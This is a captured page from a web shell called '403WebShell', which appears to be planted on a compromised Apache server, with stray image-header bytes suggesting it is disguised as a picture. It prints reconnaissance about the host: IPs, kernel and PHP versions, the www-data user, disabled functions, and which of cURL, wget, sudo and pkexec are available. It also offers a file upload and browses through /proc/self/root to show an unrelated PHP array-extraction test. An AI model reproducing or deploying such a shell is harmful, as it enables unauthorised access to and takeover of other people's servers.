403WebShell

????JFIF??x?x????'403WebShell403Webshell

Server IP : 79.136.114.73 / Your IP : 216.73.216.191
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON
Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/

Upload File :

[ Back ]

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/bug29493.phpt

--TEST--
Bug #29493 (extract(EXTR_REFS) fails if array has multiple referrals)
--FILE--
<?php
function t1()
{
	$a = array('foo' => 'aaa');
	// refcount($a) = 1
	// refcount($a['foo']) = 1
	$b = $a;
	// refcount($a) = 2
	// refcount($a['foo']) = 1
	$b['foo'] = 'bbb';
	// refcount($a) = 1
	// refcount($a['foo']) = 1

	var_dump($a, $b);

	extract($a, EXTR_REFS);

	$foo = 'noo';

	var_dump($a, $b);
}

function t2()
{
	$a = array('foo' => 'aaa');
	// refcount($a) = 1
	// refcount($a['foo']) = 1
	$b = &$a;
	// refcount($a) = 2
	// is_ref($a) = true
	// refcount($a['foo']) = 1
	$b['foo'] = 'bbb';
	// refcount($a) = 2
	// refcount($a['foo']) = 1

	var_dump($a, $b);

	extract($a, EXTR_REFS);

	$foo = 'noo';

	var_dump($a, $b);
}

function t3()
{
	$a = array('foo' => 'aaa');
	// refcount($a) = 1
	// refcount($a['foo']) = 1
	$b = &$a;
	// refcount($a) = 2
	// is_ref($a) = true
	// refcount($a['foo']) = 1
	unset($b);
	// refcount($a) = 1
	// is_ref($a) = true
	// refcount($a['foo']) = 1

	var_dump($a);

	extract($a, EXTR_REFS);

	$foo = 'noo';

	var_dump($a);
}

t1();
t2();
t3();
?>
--EXPECT--
array(1) {
  ["foo"]=>
  string(3) "aaa"
}
array(1) {
  ["foo"]=>
  string(3) "bbb"
}
array(1) {
  ["foo"]=>
  &string(3) "noo"
}
array(1) {
  ["foo"]=>
  string(3) "bbb"
}
array(1) {
  ["foo"]=>
  string(3) "bbb"
}
array(1) {
  ["foo"]=>
  string(3) "bbb"
}
array(1) {
  ["foo"]=>
  &string(3) "noo"
}
array(1) {
  ["foo"]=>
  &string(3) "noo"
}
array(1) {
  ["foo"]=>
  string(3) "aaa"
}
array(1) {
  ["foo"]=>
  &string(3) "noo"
}

Youez - 2016 - github.com/yon3zu
LinuXploit